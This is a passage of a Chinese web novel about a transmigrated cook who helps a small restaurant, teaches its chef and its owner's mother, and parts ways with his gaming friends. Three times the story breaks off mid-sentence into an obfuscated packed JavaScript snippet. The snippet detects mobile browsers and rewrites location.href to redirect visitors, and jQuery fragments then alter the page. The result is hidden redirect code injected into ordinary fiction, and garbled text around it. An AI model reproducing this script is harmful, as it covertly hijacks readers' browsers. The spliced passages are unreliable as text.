苏云禾：“那就请我几个兄弟吃个饭吧？我去买菜，你来做？” 戴千恩连忙说：“不行，这次得我去买菜，我来做，我请兄弟们吃饭。” 回到店里，苏云禾对他们说：“我这个小兄弟厨艺是相当不错，大家想吃什么样的菜，吃什么味道的，埋在心里好久吃不到的，他都能烧出来，你们可别客气啊。” 苏云禾这么说，大家也就不客气了，说出了心底最想吃的那道菜。 原来他们不全是本地人，之前都是走南闯北的，有想念家乡菜的，有去外地吃过一次忘不了那个味道的，他们只说出食材，不说菜名。 苏云禾知道这帮人在暗暗使着坏劲儿呢，他们都听说了，苏姐的小饭馆换了个厨子后生意火爆，他们在刻意为难戴千恩。 苏云禾笑骂：“阿齐说不知道食材是什么东西就算了，梦里的味道就过分了啊。” 讨债的场面戴千恩见得不多，但菜系他还是见得很多的，这帮兄弟是想刁难，但终究是外行人，戴千恩多问几句味道和感觉，他就知道他们说的是什么菜。 戴千恩：“那我去买菜了，你们慢慢聊。” 苏云禾：“几个糙老爷们，你搞几个民工菜让他们下饭得了，别搭理他们。” 苏云禾虽然这么说，但他们帮了大忙，戴千恩还是要用心做菜的。 没过一会儿，戴千恩提着大包小包进了店门，他们在大厅里聊天，戴千恩在厨房里忙碌。 从他们的谈笑间戴千恩拼拼凑凑出一些信息。 这些人之前都是跟着苏云禾在外打拼，后来遇到了事，苏云禾把公司卖了，该赔钱走人的走人，还愿意跟着她的就回到边江市来，她买了几间店铺，让他们在这座小城市里做生意。 她也要回归生活，有足够的时间陪伴自己的母亲和女儿。 戴千恩很佩服苏云禾，把自己的人生过成了“仗义”二字。 几个哥们身材高大，想必饭量不差，若做上一桌淮扬菜，那未免太过清淡了，刚才询问过他们的口味后，知道他们能吃辣，他决定做川菜。 川菜少不了东坡肉和麻婆豆腐。 时间快到晌午，戴千恩跑了三个菜场才买到了三斤适合做东坡肉的下五花，做好十人分量，剩下一点五花肉正好炒个回锅肉。 川菜大多都是猛油爆炒，就是东坡肉要慢熬花时间，戴千恩先做东坡肉。 东坡肉做法简单，关键在于细节和火候，戴千恩把肉焯水洗干净后，改刀成方方正正的肉块，放入已经铺好姜片和小葱段的砂锅中。 肉块码整齐，放入调好的料汁，和大料， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760655|190136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再倒入花雕酒，盖上盖子开始焖。 把美味交给时间和火候，戴千恩开始做别的菜，每个地方的水不一样，做出来的豆腐也不一样，这边的豆腐总是有股豆腥味儿，戴千恩切好豆腐之后加点盐焯一遍水会好很多。 等到砂锅中的气流顶着锅盖时，戴千恩转小火慢炖。 朋友难得相聚，起初他们在全神贯注聊天，等到食物的香味飘到大厅时，他们也坐不住了。 “这小子有两把刷子啊，做什么这么香啊。” 他们要到后厨去看，被戴千恩赶出来了，让他们坐着等吃饭就行。 等到砂锅中炖煮的声音变得沉闷，阵阵香气从透气孔冒出时，戴千恩也做好了所有的菜，开始往外端菜。 几个大汉此时的馋相，和平时在1号桌等吃饭的孩子没什么区别。 苏云禾：“做的啥还卖关子，你看把他们馋的口水直流，跟个小孩一样。” 几个人被苏云禾说得都不好意思了：“哪有那么夸张。” 戴千恩笑而不语，把砂锅放在隔热垫上，打开盖子，砂锅里的汤还在滚动，震得红褐色的肉块一颤一颤的，亮油油的脂油沿着肉块往下流，加上香味强势，否认说馋得口水直流的人不约而同吞口水。 “卧槽，红烧肉。” “有点文化行吗，国宴名菜，东坡肉。” 苏云禾赶人：“别光看着，快去端菜。” “小戴你坐着休息，我去端菜。” 每一道菜端出来，都惊艳四座，赞叹连连，除了东坡肉和麻婆豆腐之外，戴千恩还做了辣子鸡丁、葱爆牛肉、毛血旺和水煮肉片。 这几道菜正是他们刚才说得玄乎的味道。 几道主菜口味火辣，戴千恩还做了个清蒸鲈鱼、紫菜蛋汤和炒空心菜，添了点清新，丰富口感。 东坡肉肥而不腻，入口即化，麻婆豆腐又嫩又辣，还有那个回锅肉，甚至炒出了好看的灯盏窝。 怪不得云禾小饭馆最近的生意这么好，这小伙子绝对前途无量。 几个人本想不醉不归，现在只想多吃几晚饭，还好戴千恩煮了一大锅米饭，才能满足他们的饭量。 风卷残云后，只剩下毛血旺和水煮肉片的汤底和鲈鱼的骨架子。 几个人坐在椅子上摸着肚子打饱嗝，原本一群人打算不醉不归，现在看着两箱啤酒发呆。 顾着干饭了，都忘了要喝酒。 苏云禾看着已经饱到迷茫的兄弟，有点好笑：“还喝点不？菜没了，我给你们炸点花生米下酒？” “苏姐，你就不要笑话我们了。” 苏云禾：“刚才是谁说两箱啤酒都不够解渴的，出来干了。” “我的姐啊，这菜神仙来了都能干五碗饭好吧。” 刘齐：“这葱爆羊肉真做出了我梦里的味道。” 他们大夸特夸，倒是让戴千恩有点不好意思了：“总之，很感谢苏姐和各位大哥帮助。” “以后有事尽管找我们，管一顿饭就行。” 戴千恩：“没问题！” 戴千恩给小敏和苏妈妈留出了一份，也给戴青和戴橙打包了一份。 他挂念戴青和戴橙还没吃中饭，就先回了家。 苏云禾：“就问你们服不服吧。” 他们一边打饱嗝一边比大拇指，这还是他们认识以来聚会的时候滴酒不沾。 戴千恩一走，大家都看向刘齐。 刘齐就是苏云禾小饭馆原来的那个厨子。 刘齐也吃爽了，但吃到最后有点心情复杂。 他回去陪媳妇坐月子，也听说了苏姐的小饭馆来了个很厉害的厨子，整个饭馆的营业额没几天就翻了倍。 苏云禾当然都知道他们在想什么，笑了下拍刘齐的肩膀说：“我说刘齐，你媳妇都坐了快50天的月子了，你什么时候滚回来？” 刘齐性子直，也不会绕弯子：“苏姐，你不打算把小戴留在店里吗？” 苏云禾笑了笑说：“小戴有更加广阔的天地，我可当不了他的老板，我等着抱他的大腿。” 刘齐很感激，苏云禾拍了拍他的肩膀，两人都默契地笑了笑。 11. 第 11 章 刘齐的媳妇坐了整整60天的月子，戴千恩在苏云禾小饭馆里做了两个月。 但刘齐没陪媳妇做完60天月子，提前一周回到饭馆学艺。 刘齐回来戴千恩也不意外，苏云禾也跟他细细聊过，苏妈妈虽然很舍不得戴千恩，但尊重女儿的决定。 小敏也很舍不得戴千恩，但刘叔叔在，就不会有人欺负妈妈。 刘齐自知他和戴千恩之间的差异，为了不让苏云禾的饭馆客流量下降太快，他特地提前回来请教戴千恩。 虽然苏云禾劝他心理包袱不要太重，生意无非是回到先前那样，但刘齐真的不希望生意太过冷清。 刘齐还给戴千恩报了个红包，说要拜戴千恩为师，十分讲江湖规矩地要下跪。 体型是他的两倍还文着两条大花臂的壮汉整这么一出，让戴千恩10岁以后第一次炒菜糊锅。 戴千恩震惊到表情失控：“刘哥你你你别别别……” 刘齐：“小戴师父，你就教我怎么炒面吧。” 戴千恩心里腾升一股唏嘘的情绪，犹记得刚穿越过来第一天，他看到刘齐炒面，很想到后厨去提点两句，没想到竟成了真。 戴千恩：“也好，但我要求可能有一点高，教学有一点严厉，你介不介意？” 刘齐：“不介意不介意。” 阴差阳错一般，刘齐成了戴千恩在这个世界里的第一个学生。 刘齐以为戴千恩说的严厉只是说说而已，没想到是真的严厉，要求也是真的高。 他不仅仅让刘齐着装规范，还要刘齐从颠勺开始练！ 刘齐怎么说也是有几年餐饮经验的，要没有吃过戴千恩做的饭，戴千恩让他从颠勺开始练，他非得打人不可。 现在有了对比之后就有了伤害，跟个小学生一样规规矩矩地跟在戴千恩身边学。 为了苏姐的营业额，他拼了，练颠勺就练颠勺。 戴千恩发现刘齐并不是不会颠勺，基本功也不差，只是和性格有关，做事太随便，不认真，觉得吃个饭差不多就行，何必要这么讲究呢。 刘齐的工作态度一转变，进步还是很迅速的，炒出来的东西勉强能入戴千恩的眼。 有时候学烦了也会急眼，觉得戴千恩太啰嗦，要求太严格了，甚至连身板要挺直都要说一嘴。 哪家厨师要求身板要直啊。 戴千恩也看出了刘齐憋着的不耐烦，但开弓没有回头箭，跟他学就得认真。 戴千恩想了个招：“假如这碗面是给你刚出生的闺女和坐月子的媳妇儿吃的，你也要这么做吗？” 这直接是往刘齐的软肋死戳，可太管用了，刘齐一点不敢松懈，和在医院里上【爸爸课堂】时候一样认真。 认真学习似乎会上瘾，到最后，刘齐对自己的厨艺竟有了更高的要求，认真出了内驱力和主动性。 见刘齐一直在苦练，甚至店里打烊了还在琢磨，苏云禾说：“怎么跟小戴学了一段时间，学出上进心来了？” 刘齐：“一山比一山高，这话真不假。”说完又补一句，“以后我闺女我老婆出去吃饭，谁敢糊弄随便炒炒，我揍谁。” 苏云禾：“……” 刘齐跟戴千恩学得热火朝天其实是一件好事，但苏妈妈却越发苦恼，整天愁眉苦脸。 最近点炒面炒饭的人多，点大肉面和卤肉拌面的客人少了，即使有点的，那个大肉和卤鸡腿吃几口就扔了，苏妈妈每次收盘子都唉声叹气：“真浪费，可惜了，可惜了啊。” 更浪费的是，她现在每天辛苦卤的肉和鸡腿都卖不完了，出于良心，过了夜的食材她又会放到第二天再卖，只好每天都送邻居一些，剩下的自己早上下面条吃掉。 有天苏妈妈还看到邻居把她送的卤大肉和鸡腿扔了，还跟别人说馊了卖不完才送人，心疼得她一夜睡不着觉。 苏云禾劝她：“你就少卤一点。” 苏妈妈：“以前卤得更多，都卖掉了啊，大家都不爱吃了吗？” 苏妈妈这辈子没什么本事，唯一拿得出手的就这家店铺和这一锅卤肉，她是打算当成传家宝传下去的。 怎么变成这样了呢。 于是，苏妈妈开始琢磨配方，越琢磨销量越差，销量越不好，苏云禾不知道怎么劝，只好随她去。 甚至有客人吐槽：“老板娘，这个大肉怎么黑成这样啊，放了墨水吗？” 这下彻底把苏妈妈整难过了。 戴千恩做事太专注，都没察觉到苏妈妈这几天不对劲，终于有一天看到苏妈妈闲暇时偷偷在抹眼泪。 戴千恩问苏云禾：“阿姨这是怎么了？” 苏云禾：“老太太一生要强，看到自己卤的肉客人不爱吃了，这几天琢磨新配方，越琢磨越差，自闭了。” 戴千恩：“那你劝劝她吧。” 苏云禾：“我都不会做饭，她哪能听我的，她只听比她厉害的。” 苏云禾说完一怔，看向戴千恩，两眼放着光。 比她娘更厉害的人不就在眼前吗？ 苏云禾：“小戴，要不你劝她？她乐意听厨艺比他厉害的。” 戴千恩看着愁眉苦脸的苏妈妈：“我试试？” 戴千恩空闲之余，吃了口苏妈妈卤的大肉，忍不住皱眉头吐了出来。 一开始卤的还中规中矩，现在确实变难吃了。 大料放多了，八角的香味盖过了肉香，老抽放多了颜色太重，为了掩盖酱味，还加了糖，成了一锅怪味大肉。 戴千恩不知道怎么劝人，打了烊之后简单粗暴对苏妈妈说：“阿姨，我教你卤肉吧。” 苏妈妈愣在原地，这不是她敢想的，教人卤肉说明要告诉人方法，那是很私密的东西，怎么能轻易告诉别人呢。 以小戴的本事，他的方法那肯定是没啥问题的，甚至可以养活一家店。 她不想占小戴这么大的便宜。 苏妈妈：“这……这不好吧。” 戴千恩以为她觉得自己自视清高，想了下就说：“那我就教一点，行吗？” 苏妈妈感激不尽：“也行，你帮我看看有什么问题也行。” 于是，一老一少还在厨房琢磨卤肉方法。 戴千恩拿着个电子秤在秤香料，他可以估量，但担心苏妈妈把握不准，就用了精确的办法。 苏妈妈拿着一支笔跟小学生一样一笔一划记录，戴千恩把多少卤料配多少水卤多少肉都写得清清楚楚。 戴千恩：“咱们明天按这个卤出来试试看。” 苏妈妈有点不好意思接过来：“你这就给我了？这不太好吧，小戴你这……” 戴千恩知道苏妈妈在介意什么，干餐饮的都知道，一般配方不外泄，而她家是真诚坦荡的人，不占人便宜，很有分寸感，自然觉得不妥。 戴千恩笑着说：“您别想太多，苏姐是我的好朋友，我很尊重她，也很珍惜她。” 她可是他来到这个世界后第一个朋友啊，怎么能不珍惜呢。 苏妈妈开心得不行：“好好好，辛苦你了，谢谢你啊小戴。” 苏妈妈哪能等到明天，苏云禾把她拽回家休息，她一头栽进厨房里开始卤肉，劝都劝不住。 戴千恩用的卤料和她用的一模一样，区别就是这味多了点，那味少了点，还换了个牌子的老抽。 小戴说原来那个牌子的老抽添加剂太多，酿造的时间也不够，卤出来的肉会有点涩。 要是这方法要是别人给她的，她高低地吐槽一句放屁，都差不多的东西卤出来的肉还能不一样了？ 但是是小戴给的，她就信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760656|190136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 苏云禾安顿女儿睡下来，老母亲还在厨房里看那锅肉。 苏云禾只好打着哈欠坐在客厅陪老母亲。 苏云禾在沙发上睡着了，再次醒来的时候，身上多了条毯子，还闻到了厨房里的香味，老母亲在厨房一边咀嚼一边点头，神情很满意。 苏云禾走进厨房问：“成功了？” 苏妈妈：“成功了，你看看，这卖相多好，这颜色让人看着就很有食欲，口感也很好，很鲜，软糯的，你尝尝看。” 苏云禾吃了一口，果然是小戴的手艺。 但为了妈妈高兴，她说：“小戴做得好吃，但我还是最最最最喜欢妈妈做的。” 苏妈妈被逗得哈哈大笑，她又舀起一勺卤汁，轻轻抿了一口，接而又点头：“卤汁也香，下面条肯定也好吃得很。小戴太厉害了，太厉害了，闺女啊，以后你要对人家好，就像对亲弟弟一样好，人家非亲非故的，帮我们这么多。” 苏妈妈说着说着就哽咽了，那些所谓的亲戚，还不如一个外人待他们好。 苏妈妈就一个独生女，丈夫又死的早，婆婆是她照顾走的，房子没拆迁之前，老太留下这么一间小商铺，老太没走前那些亲戚一个人影都看不见，老太一走，人家看她孤儿寡母，去大城市闯荡的女儿破产之后离婚，两手空空只领一个女娃回来，七大姑八大姨都想来抢店铺。 还好苏云禾不是省油的灯，把他们全都赶走了。 苏云禾知道妈妈肯定是想起之前不高兴的事了：“妈，我知道，我会对小戴好，时间不早了，休息去吧，不用总是操心这的那的。” 苏妈妈：“我多操一点心，你就少操一点心。” 苏云禾鼻子有点酸，把妈妈推到房间去：“我还用得着你操心，快睡觉去。” 隔日早餐，苏妈妈给三个孩子下大肉面，小敏看到大肉面，心里一阵失落。 戴青和戴橙倒是不挑食，低头开始吃。 不挑食的人先享受美食，这面条变好吃了！汤不咸，肉也好好吃。 苏姥姥的手艺好像变好了。 小敏没动筷，但又不想让外婆伤心，悄悄问妈妈：“外婆的卤肉又卖不完了吗？” 苏云禾卖关子：“小戴叔叔把你嘴养挑了，这还嫌弃外婆的大肉面了？” 小敏小声逼逼：“没有。” 但是姥姥最近做的大肉真的很不好吃啊！ 小敏看着戴青和戴橙吃得很香，将信将疑吃了口，顿时眼睛瞪得老圆，朝苏云禾比了个大拇指，再朝后厨方向喊：“姥姥，太美味太好吃啦，姥姥一级棒！” 此时苏妈妈正兴冲冲跟戴千恩交作业，戴千恩看了下颜色不深不浅，很饱满，卖相很好，尝了口，肉有点烂了，应该是火候过旺，但不影响口感，毕竟火候这个东西只能靠经验和天赋，指点不了。 戴千恩点了下头：“没问题，应该能大卖。” 得到戴千恩的肯定，苏妈妈喜笑颜开，信心满满，看到苏妈妈恢复往日神采，戴千恩悄咪咪松了口气。 之前为了把卤肉卖完，苏云禾主动降了价，有些节俭的中年人也会点着吃，毕竟是肉，再难吃能难吃到哪里去。 可今天大肉却不同往日了，卖相变好了不说，口感提升了几个档次，肉皮软糯弹牙，肥肉入口即化，瘦肉精而不柴，一口咬下去，口感丰富，层次分明。 最绝的是那个卤汁，让面汤有了灵魂。 肉吃完了，面吃完了，汤也喝完了，10块钱的大肉面吃得肚子圆滚滚，幸福感拉满。 他只管琢磨美味，之后的一切都交给时间去验证就好了。 渐渐地，大肉面的销量逐渐上来了，点炒面的客人也会多点一份大肉浇头，卤肉卖得非常好。 一切都如戴千恩所料。 12. 第 12 章 纸总归保不住火，在苏云禾的饭馆帮厨这个事戴千恩从没跟关越和江嘉提及，终究还是传到了他们的耳朵里。 他们两个将信将疑，在午饭时间冲到云禾小饭馆。 云禾小饭馆的生意比之前好了很多，四人方桌硬是挤了六个人，店外也摆了几张桌子，人满满当当。 老板娘不在，他俩直接走进店里，拉开后厨的帘子一看，只见戴千恩一手插着腰，一手拿着勺，正在指点块头比他大两倍的刘齐炒面。 刘齐则一边颠勺一边点头，还挺像认真学习的样子。 关越忍这家店的老板娘很久了，放眼整个边江市，除了这家店的老板娘，谁敢对他们仨翻白眼。 奈何这个厨子长得实在太过凶悍，所以老板娘的白眼他们也默默受着。 若不是老戴有时候非得来吃这家店的炒面，他们就会选择绕过这家店，所以老戴被哥嫂托梦在家“休养”的这段时间里，他们都没来过这里。 看到是戴千恩炒面，关越想冲进厨房，被江嘉拦住了。 江嘉：“既然是老戴在掌勺，我们先吃个炒面再算账吧。” 关越想骂“你是不是疯了”，但回想了下戴千恩的手艺，便坐了下来：“你说得也对。” 苏云禾从外面回来，见到是他俩，和平时一样，白眼翻上了天：“吃什么？” 关越没好气道：“炒面！” 苏云禾边打单边低声警告他们：“小戴现在学好了，你们两个小兔崽子要再拉他下水，看我怎么修理你们。” 关越：“你……” 江嘉：“先吃面，吃完面咱们跟老戴好好聊聊。” 戴千恩和刘齐不知道大厅外的风起云涌，专心做饭，而关越和江嘉一碗炒面吃完还吃不够，又各自点了一碗。 看店里每人都点了块红烧大肉，他们也跟风点了，硬是从十二点吃到了一点半。 大肉的味道上了个档次，想必也是出自戴千恩之手。 一点半后人少了，戴千恩从后厨出来，就看到大厅里坐着的关越和江嘉。 戴千恩心想完犊子了，这两个月专心搞钱，都忘记这两个发小了。 这段时间戴千恩总是以身体不适要休息拒绝和他们开黑，他们要去看他到底怎么回事，他又说去乡下老家休养去了。 总之能骗则骗。 戴千恩不是故意想骗他们，而是还没想好怎么跟他们说不想继续打游戏这件事。 他明白，他们现在的价值观和生活方式并不是一天养成的，让他们改变并不容易，除非他们和他一样，也换了个灵魂。 戴千恩想溜，把解开的围裙又系上，笑着说：“要不我再去给你俩炒个菜？或者再吃块大肉，吃个鸡腿？” 关越：“你回来。” 戴千恩认命了，伸头一刀缩头也是一刀，他脱下围裙，坐在他俩对面。 关越气得脸都歪了，戴千恩很能理解他们现在的感受，他们此时一定是觉得被背叛了。 戴千恩脱下衣服和帽子：“店里还有客人，我们换个地方。” 关越：“成。” 三人刚走出店门，关越冲上去就想把戴千恩撂倒，刘齐闻声拿着锅铲冲出来瞪他：“你小子要对我师父做什么？” 关越看了两眼刘齐的大花臂，一把搂住戴千恩的脖子，咬着牙说：“走。” 三人最后到了小公园，关越想扑过来撂倒戴千恩，戴千恩一躲开，他扑了个空，他又扑上来，戴千恩没来得及躲开，本能一推，倒是把关越推出去老远，江嘉勉强扶着才没倒下去。 没想到戴千恩这么大劲，关越恼羞成怒又冲上来，戴千恩看着不能和他硬杠，拔腿就跑。 关越和江嘉根本追不上，没一会儿就气喘吁吁。 关越没想到戴千恩现在变得不进劲儿大，跑得还快，不是那个一撂就倒、弱不禁风的人了。 关越和江嘉跑得岔气了，每走一步就跟被刀捅一样，只好停下来撑着膝盖大口大口呼吸。 戴千恩看着两人没追上，停下脚步往回走，但又不敢靠太近。 江嘉：“卧槽，老戴是吃了神仙大力丸吗？” 戴千恩摇了摇头：“没吃。” 他这段时间只是好好吃饭好好睡觉而已，当然比他们这种阴间作息要有劲。 关越还想冲上去，江嘉抓住：“算了，老关，有话好好说。” 三个人最后围着公园的圆石桌坐了下来，关越和江嘉跑了一段路之后脸色有些白，还在喘着气，戴千恩已经跟个没事儿人一样，平静地看着他们。 戴千恩先开口：“这段时间我确实一直在饭馆帮厨，很抱歉，我对你们撒谎了。” 江嘉：“你为什么去那里打工？你缺钱我给你啊。” 戴千恩摇了摇头说：“不是钱的事。” 关越：“我不管你什么原因，从今天晚上开始，你跟我们一起开黑，我就当做什么都没发生过。” 戴千恩没说话，半晌后，又在关越和江嘉的注视下摇了摇头。 关越：“老戴你什么意思？不是说好了一起成为电竞选手，让那些看扁我们的人刮目相看吗？” 戴千恩并不是伶牙俐齿的人，不太会讲道理劝人。 戴千恩不知道怎么劝，只好说实话：“我觉得，我不能这么过日子。” 关越冷笑一声：“你这是和别人一样，看不起我们了？看不起曾经的自己了？俗。” 戴千恩摇头：“不是看不起，我是想换个活法，好好吃饭，好好睡觉，还有，戴青和戴橙都还小，我也有义务照顾他们。” 江嘉不理解：“你给戴青和戴橙钱就是了，又不少他们吃穿，都多大的人了，还要怎么照顾？” 戴千恩完全理解江嘉，毕竟江嘉的父母就是这么待他的。 戴千恩不知道说什么，只好沉默不语。 关越：“老戴，我最后问你一遍，你真的退出？” 戴千恩也知道一时改变他们的想法很难，但还是要争取一下：“关越，要不咱们把游戏当副业吧，有时间就打打，你回家……” 关越气得脸都在发抖，站起来打断他：“绝对不可能。” 戴千恩看向稍微理智一点的江嘉：“江嘉，你也……” 江嘉一脸不解地看着他：“老戴，这是我们都约好了，你怎么能说背叛就背叛呢。” 戴千恩不知道说什么，自知自己现在也没有那么大的能量能够改变他人，只好不说话。 他们现在才20岁，才成年不久，而他现在的灵魂是25岁，算起来已经有了代沟，沟通起来也是困难的。 而且他们还没遇到真正的困境，天塌下来还有奶奶替他们顶着，不会一下子就转变态度。 关越抹了把脸，把江嘉扯了起来：“江嘉，我们走，道不同不相为谋。” 江嘉不死心，又问了一遍：“老戴，你再想想？” 戴千恩摇了摇头。 两人走了，戴千恩一个人坐在石凳上，看着他们单薄的背影，长长叹了口气。 天下终究没有不散的筵席，躲都躲不掉。 关越这边的筵席散了，苏云禾这边的筵席也要散了。 转眼到了月末盘点，苏云禾照例把这个月的净利润了一半给戴千恩。 刘齐态度一端正，炒面的水平虽远不及戴千恩，但技术突飞猛进，口味不挑的人也能接受，加上卤肉浇头销量上升，苏云禾饭馆即使炒面销量回落，小饭馆的经营比之前也好很多。 苏妈妈觉得，即使以后饭馆开不下去了，她家拿这个配方卖卤肉都能维持温饱。 这种配方别人都藏着掖着，戴千恩就这么无保留地交待给她。 可知他身上还有无穷无尽的潜力。 为了好好和戴千恩告别，午饭之后云禾小饭馆就打烊了。 苏云禾订了满香楼的包间，吆喝大家一起吃一顿。 满香楼是边江市最好的饭店，每天人满为患，是边江市的老招牌。 包间很难定，苏云禾费尽周折托好几个人才订到的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760657|190136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >刘齐心直口快：“满香楼的菜还没我师父做的好吃。” 苏云禾：“今天就让小戴休息，尝尝同行的饭菜，而且今天咱们要不醉不归，吃小戴的饭菜你们还记得喝酒么。” 刘齐：“还是苏姐想得周到。” 苏云禾点了一桌子的菜，牛羊鸡鸭鱼虾都有了，她专门点戴千恩没做过的菜，不然他们一对比，估计就吃不下了。 满香楼是本地活招牌当之无愧，从菜品色泽和摆盘看可圈可点，味道也说得过去，招待客人是可以的，普通人品不出来，但戴千恩知道，满香楼向上也还有很大的空间。 这些菜戴千恩都没做过，他们觉得好吃，但没有好吃到让他们忘记了喝酒。 为了保护味觉，戴千恩没跟他们喝酒，但也没法专心吃饭，职业病犯了，心里琢磨的都是这些菜怎么做可以更好吃。 最硬的那道菜是满香楼的招牌菜——蜜汁肘子，但这道菜剩下了，其他的都光盘。 这道菜味道比其他菜无论从味道还是火候都比其他菜好很多，可见满香楼为了保住自己的招牌还是下了很大功夫的，怎么就剩下了呢。 戴千恩问：“你们怎么都不吃这道菜？” 小敏说：“婆婆之前用店里的卤肉汁卤过肘子给我们吃，比这个好吃。” 戴千恩明白了。 苏妈妈想卤来卖，但被苏云禾制止了，蜜汁肘子是满香楼的招牌菜，满香楼在本地盘踞那么多年，要是知道有人做得比他们店招牌好吃，他们一定会想方设法得到配方。 就比如这道豉油鸡，本来是城东老徐烧腊家的招牌，被他们买断了配方后不允许他们再经营，搞得老徐家后来黄了，几代人的积累变成了满香楼的一道菜。 要是他们顺藤摸瓜摸到了小戴，现在小戴势单力薄，一旦被他们盯上，他们那个专业的法务团队再用手段让他签一些奇怪的合同，他就没了自己的发展空间。 苏云禾三教九流的朋友都认识一些，但还不足以对抗满香楼。 苏云禾喝得微醺，她对戴千恩说：“小戴，满香楼是咱们这儿最好的饭店了，菜就这水平，他们特别善于发现美食，然后占为己有。” 戴千恩明白了苏云禾的用意：“我知道了，谢谢苏姐。” 吃完饭，苏云禾把那个肘子打包带走了。 戴千恩回到店里收拾东西告别，苏妈妈紧紧抓着他的手，忍不住红了眼眶：“小戴啊，以后家里有什么困难，尽管来找我们，把这里当成家一样，把我们当成你的家人。” 戴千恩：“我会的。” 苏云禾：“以后想自己开店了，找铺子什么的，跟我说一声，我给你找。” 戴千恩：“那我先谢过苏姐。” 苏妈妈转身到前台，从下面捣鼓半天，摸出一个盒子。 她打开盒子，里面是个透明的塑料袋子，里面是红色绸布包着的什么东西。 再打开绸布，里面是个红色丝绒盒子，丝绒盒子里是块晶莹透亮的平安扣翡翠。 翡翠用红色绳穿着，散发出温润的光泽，戴千恩识货，这透光度已经达到了高冰种，在市场上价格不菲。 苏妈妈拿出来递给戴千恩：“我也没什么回报你，这平安扣送给你，保佑你以后平平安安。” 东西太贵重了，戴千恩连连摆手：“不行，太贵重了，我真的不能收。” 苏妈妈：“你拿着吧，比起你给店里做的那些，这点真的不算什么，你给我的可是传家宝。” 戴千恩执意不收，苏妈妈一定要给，见推来推去的两人，苏云禾一把拿过盒子，直接塞进了戴千恩的兜里。 苏云禾：“以后有女朋友了，你跟人家姑娘求婚的时候，总归要拿出点上得了台面的东西吧，你自己去商场买的那些，都不如这老古董真诚。” 戴千恩麻了，他的性向他自己是清楚的：“我不一定会有女朋友。” 说得委婉了，是一定不会有。 苏云禾：“男朋友也行。” 戴千恩：“……” 13. 第 13 章 苏妈妈拉着戴千恩聊了好久，戴千恩回到家的时候，已经快十一点了。 戴橙还在打电话，仔细一听，是在和男朋友吵架。 “你是不是有病？有病吃药。” “我懒得跟你说，你爱怎么想怎么想。” “都是我的错行了吧，好了吧。” “你还有完没完！” 戴千恩越听越不对劲，这不都是男孩儿的词么，怎么全让戴橙给说了。 最后以一句气势汹汹的“分手”结束通话。 戴千恩心想分了就分了呗，早恋不好。 戴千恩忍不住叹了口气，戴橙14岁就有好几任前男友了，而他还是母胎单身。 但他性向为男，估计得单身一辈子。 苏妈妈给他的平安扣推脱不掉，等以后小敏长大了要结婚了，他送回去吧。 戴千恩刚想回房间，戴橙气势汹汹地从房间里出来，两人差点撞个满怀。 戴橙虽然语气狠凶悍，但此时的眼眶是红的，看到戴千恩，她愣了下，接而翻了个白眼冲进了厕所。 戴千恩在厕所外说：“是那个送你西红柿的男朋友吗？” 失恋少女此时没有骂人，已经是忍到了极致，戴千恩识趣说：“明天早饭不去店里吃了，我在家做，你们可以多睡一会儿，早点睡吧。” 厕所里传来失恋少女轻轻的哽咽声，接而是用力擤鼻涕的声音。 第二天一大早，戴千恩起来做早饭，这段时间都是到云禾小饭馆吃早饭，戴青和戴橙要早起二十分钟。 对正在长身体的孩子来说，早上能多睡二十分钟是一件很幸福的事情。 戴千恩要做发面小肉包和南瓜粥。 戴千恩和好了面，趁发面时切了南瓜，放到粥里和大米小米一起熬。 他剁了肉馅，馅儿一半用豆瓣酱炒出酱汁，再和另一半生肉拌在一起，再撒点小葱，肉馅就调好了，面也发得蓬松柔软。 戴千恩很喜欢厨房，锅碗瓢盆没什么心眼，也很听话。 只有在厨房时他的脑子才可以放松，什么都不用想，专注地做饭就好。 看着这些没有生命的东西在他的手下变得像有了灵魂一般各司其职，最后在默契的配合中完成一道美味佳肴，真的很享受。 戴千恩熟练地擀皮，包馅儿，上锅蒸，又煮了三个鸡蛋，忙完正好七点。 每天早上都是戴橙准时醒，叫戴青起床，但戴橙今天睡过了。 戴千恩看了眼时间，刚想去敲戴橙的门，戴橙开门，一双核桃眼实在太过醒目。 失恋的武火少女昨晚在偷偷哭泣。 戴橙没看戴千恩，去敲戴青的房门：“青青，起床了。” 戴橙话音刚落，正好微波炉叮地一声，戴千恩热的牛奶好了。 戴千恩：“洗漱好过来吃早饭。” 戴千恩端出小笼包、南瓜粥、牛奶和鸡蛋，等着姐弟俩收拾好。 戴青收拾好了，戴橙还穿着睡衣，姐弟俩往餐桌边一坐开始吃早饭。 包子散发腾腾热气，皮很薄，肉汁渗入皮中，呈油亮亮的褐红色。 